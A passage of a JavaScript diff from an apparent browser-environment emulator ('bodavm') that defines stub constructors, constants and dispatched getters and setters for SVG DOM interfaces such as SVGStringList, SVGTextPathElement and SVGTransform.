get: function rx() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRectElement'].prototype, "SVGRectElement", "rx_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGRectElement', "ry", { + configurable: true, + enumerable: true, + get: function ry() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRectElement'].prototype, "SVGRectElement", "ry_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGScriptElement对象 + +bodavm.memory.globalobj['SVGScriptElement'] = function SVGScriptElement() { + console.log_copy('SVGScriptElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGScriptElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGScriptElement'], "SVGScriptElement"); +bodavm.memory.globalobj['SVGScriptElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGScriptElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGScriptElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGScriptElement'].prototype, "SVGScriptElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGScriptElement'].prototype, "SVGScriptElement", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGScriptElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGScriptElement'].prototype, "SVGScriptElement", "href_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGSetElement对象 + +bodavm.memory.globalobj['SVGSetElement'] = function SVGSetElement() { + console.log_copy('SVGSetElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGSetElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGSetElement'], "SVGSetElement"); +bodavm.memory.globalobj['SVGSetElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGAnimationElement'].prototype; +bodavm.memory.globalobj['SVGSetElement'].__proto__ = bodavm.memory.globalobj['SVGAnimationElement']; +// SVGStopElement对象 + +bodavm.memory.globalobj['SVGStopElement'] = function SVGStopElement() { + console.log_copy('SVGStopElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGStopElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGStopElement'], "SVGStopElement"); +bodavm.memory.globalobj['SVGStopElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGStopElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGStopElement', "offset", { + configurable: true, + enumerable: true, + get: function offset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStopElement'].prototype, "SVGStopElement", "offset_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGStringList对象 + +bodavm.memory.globalobj['SVGStringList'] = function SVGStringList() { + console.log_copy('SVGStringList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGStringList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGStringList'], "SVGStringList"); +bodavm.toolsFunc.defineProperty('SVGStringList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGStringList', "numberOfItems", { + configurable: true, + enumerable: true, + get: function numberOfItems() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "numberOfItems_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGStringList', "appendItem", { + configurable: true, + enumerable: true, + writable: true, + value: function appendItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "appendItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGStringList', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGStringList', "getItem", { + configurable: true, + enumerable: true, + writable: true, + value: function getItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "getItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGStringList', "initialize", { + configurable: true, + enumerable: true, + writable: true, + value: function initialize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "initialize", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGStringList', "insertItemBefore", { + configurable: true, + enumerable: true, + writable: true, + value: function insertItemBefore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "insertItemBefore", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGStringList', "removeItem", { + configurable: true, + enumerable: true, + writable: true, + value: function removeItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "removeItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGStringList', "replaceItem", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "replaceItem", arguments); + } +}, 'prototype'); +// SVGStyleElement对象 + +bodavm.memory.globalobj['SVGStyleElement'] = function SVGStyleElement() { + console.log_copy('SVGStyleElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGStyleElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGStyleElement'], "SVGStyleElement"); +bodavm.memory.globalobj['SVGStyleElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGStyleElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGStyleElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGStyleElement', "media", { + configurable: true, + enumerable: true, + get: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "media_get", arguments); + }, + set: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "media_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGStyleElement', "title", { + configurable: true, + enumerable: true, + get: function title() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "title_get", arguments); + }, + set: function title() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "title_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGStyleElement', "sheet", { + configurable: true, + enumerable: true, + get: function sheet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "sheet_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGStyleElement', "disabled", { + configurable: true, + enumerable: true, + get: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "disabled_get", arguments); + }, + set: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "disabled_set", arguments); + } +}, 'prototype'); +// SVGSwitchElement对象 + +bodavm.memory.globalobj['SVGSwitchElement'] = function SVGSwitchElement() { + console.log_copy('SVGSwitchElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGSwitchElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGSwitchElement'], "SVGSwitchElement"); +bodavm.memory.globalobj['SVGSwitchElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGraphicsElement'].prototype; +bodavm.memory.globalobj['SVGSwitchElement'].__proto__ = bodavm.memory.globalobj['SVGGraphicsElement']; +// SVGTextContentElement对象 + +bodavm.memory.globalobj['SVGTextContentElement'] = function SVGTextContentElement() { + console.log_copy('SVGTextContentElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGTextContentElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTextContentElement'], "SVGTextContentElement"); +bodavm.memory.globalobj['SVGTextContentElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGraphicsElement'].prototype; +bodavm.memory.globalobj['SVGTextContentElement'].__proto__ = bodavm.memory.globalobj['SVGGraphicsElement']; +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "LENGTHADJUST_SPACINGANDGLYPHS", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "LENGTHADJUST_SPACING", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "LENGTHADJUST_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "LENGTHADJUST_SPACINGANDGLYPHS", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "LENGTHADJUST_SPACING", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "LENGTHADJUST_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "textLength", { + configurable: true, + enumerable: true, + get: function textLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "textLength_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "lengthAdjust", { + configurable: true, + enumerable: true, + get: function lengthAdjust() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "lengthAdjust_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getCharNumAtPosition", { + configurable: true, + enumerable: true, + writable: true, + value: function getCharNumAtPosition() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getCharNumAtPosition", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getComputedTextLength", { + configurable: true, + enumerable: true, + writable: true, + value: function getComputedTextLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getComputedTextLength", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getEndPositionOfChar", { + configurable: true, + enumerable: true, + writable: true, + value: function getEndPositionOfChar() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getEndPositionOfChar", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getExtentOfChar", { + configurable: true, + enumerable: true, + writable: true, + value: function getExtentOfChar() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getExtentOfChar", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getNumberOfChars", { + configurable: true, + enumerable: true, + writable: true, + value: function getNumberOfChars() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getNumberOfChars", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getRotationOfChar", { + configurable: true, + enumerable: true, + writable: true, + value: function getRotationOfChar() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getRotationOfChar", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getStartPositionOfChar", { + configurable: true, + enumerable: true, + writable: true, + value: function getStartPositionOfChar() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getStartPositionOfChar", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getSubStringLength", { + configurable: true, + enumerable: true, + writable: true, + value: function getSubStringLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getSubStringLength", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "selectSubString", { + configurable: true, + enumerable: true, + writable: true, + value: function selectSubString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "selectSubString", arguments); + } +}, 'prototype'); +// SVGTextPositioningElement对象 + +bodavm.memory.globalobj['SVGTextPositioningElement'] = function SVGTextPositioningElement() { + console.log_copy('SVGTextPositioningElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGTextPositioningElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTextPositioningElement'], "SVGTextPositioningElement"); +bodavm.memory.globalobj['SVGTextPositioningElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGTextContentElement'].prototype; +bodavm.memory.globalobj['SVGTextPositioningElement'].__proto__ = bodavm.memory.globalobj['SVGTextContentElement']; +bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "LENGTHADJUST_SPACINGANDGLYPHS", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "LENGTHADJUST_SPACING", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "LENGTHADJUST_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPositioningElement'].prototype, "SVGTextPositioningElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPositioningElement'].prototype, "SVGTextPositioningElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "dx", { + configurable: true, + enumerable: true, + get: function dx() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPositioningElement'].prototype, "SVGTextPositioningElement", "dx_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "dy", { + configurable: true, + enumerable: true, + get: function dy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPositioningElement'].prototype, "SVGTextPositioningElement", "dy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextPositioningElement', "rotate", { + configurable: true, + enumerable: true, + get: function rotate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPositioningElement'].prototype, "SVGTextPositioningElement", "rotate_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGTextElement对象 + +bodavm.memory.globalobj['SVGTextElement'] = function SVGTextElement() { + console.log_copy('SVGTextElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGTextElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTextElement'], "SVGTextElement"); +bodavm.memory.globalobj['SVGTextElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGTextPositioningElement'].prototype; +bodavm.memory.globalobj['SVGTextElement'].__proto__ = bodavm.memory.globalobj['SVGTextPositioningElement']; +bodavm.toolsFunc.defineProperty('SVGTextElement', "LENGTHADJUST_SPACINGANDGLYPHS", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGTextElement', "LENGTHADJUST_SPACING", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGTextElement', "LENGTHADJUST_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +// SVGTextPathElement对象 + +bodavm.memory.globalobj['SVGTextPathElement'] = function SVGTextPathElement() { + console.log_copy('SVGTextPathElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGTextPathElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTextPathElement'], "SVGTextPathElement"); +bodavm.memory.globalobj['SVGTextPathElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGTextContentElement'].prototype; +bodavm.memory.globalobj['SVGTextPathElement'].__proto__ = bodavm.memory.globalobj['SVGTextContentElement']; +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_SPACINGTYPE_EXACT", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_SPACINGTYPE_AUTO", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_SPACINGTYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_METHODTYPE_STRETCH", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_METHODTYPE_ALIGN", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_METHODTYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "LENGTHADJUST_SPACINGANDGLYPHS", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "LENGTHADJUST_SPACING", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "LENGTHADJUST_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_SPACINGTYPE_EXACT", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_SPACINGTYPE_AUTO", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_SPACINGTYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_METHODTYPE_STRETCH", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_METHODTYPE_ALIGN", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "TEXTPATH_METHODTYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "startOffset", { + configurable: true, + enumerable: true, + get: function startOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPathElement'].prototype, "SVGTextPathElement", "startOffset_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "method", { + configurable: true, + enumerable: true, + get: function method() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPathElement'].prototype, "SVGTextPathElement", "method_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "spacing", { + configurable: true, + enumerable: true, + get: function spacing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPathElement'].prototype, "SVGTextPathElement", "spacing_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextPathElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextPathElement'].prototype, "SVGTextPathElement", "href_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGTitleElement对象 + +bodavm.memory.globalobj['SVGTitleElement'] = function SVGTitleElement() { + console.log_copy('SVGTitleElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGTitleElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTitleElement'], "SVGTitleElement"); +bodavm.memory.globalobj['SVGTitleElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGTitleElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +// SVGTransform对象 + +bodavm.memory.globalobj['SVGTransform'] = function SVGTransform() { + console.log_copy('SVGTransform 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGTransform)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTransform'], "SVGTransform"); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_MATRIX", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_TRANSLATE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_SCALE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_ROTATE", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_SKEWX", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_SKEWY", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}); +bodavm.toolsFunc.defineProperty('SVGTransform', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "matrix", { + configurable: true, + enumerable: true, + get: function matrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "matrix_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "angle", { + configurable: true, + enumerable: true, + get: function angle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "angle_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_MATRIX", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_TRANSLATE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_SCALE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_ROTATE", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_SKEWX", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "SVG_TRANSFORM_SKEWY", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "setMatrix", { + configurable: true, + enumerable: true, + writable: true, + value: function setMatrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "setMatrix", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "setRotate", { + configurable: true, + enumerable: true, + writable: true, + value: function setRotate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "setRotate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "setScale", { + configurable: true, + enumerable: true, + writable: true, + value: function setScale() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "setScale", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "setSkewX", { + configurable: true, + enumerable: true, + writable: true, + value: function setSkewX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "setSkewX", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "setSkewY", { + configurable: true, + enumerable: true, + writable: true, + value: function setSkewY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, "SVGTransform", "setSkewY", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTransform', "setTranslate", { + configurable: true, + enumerable: true, + writable: true, + value: function setTranslate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTransform'].prototype, 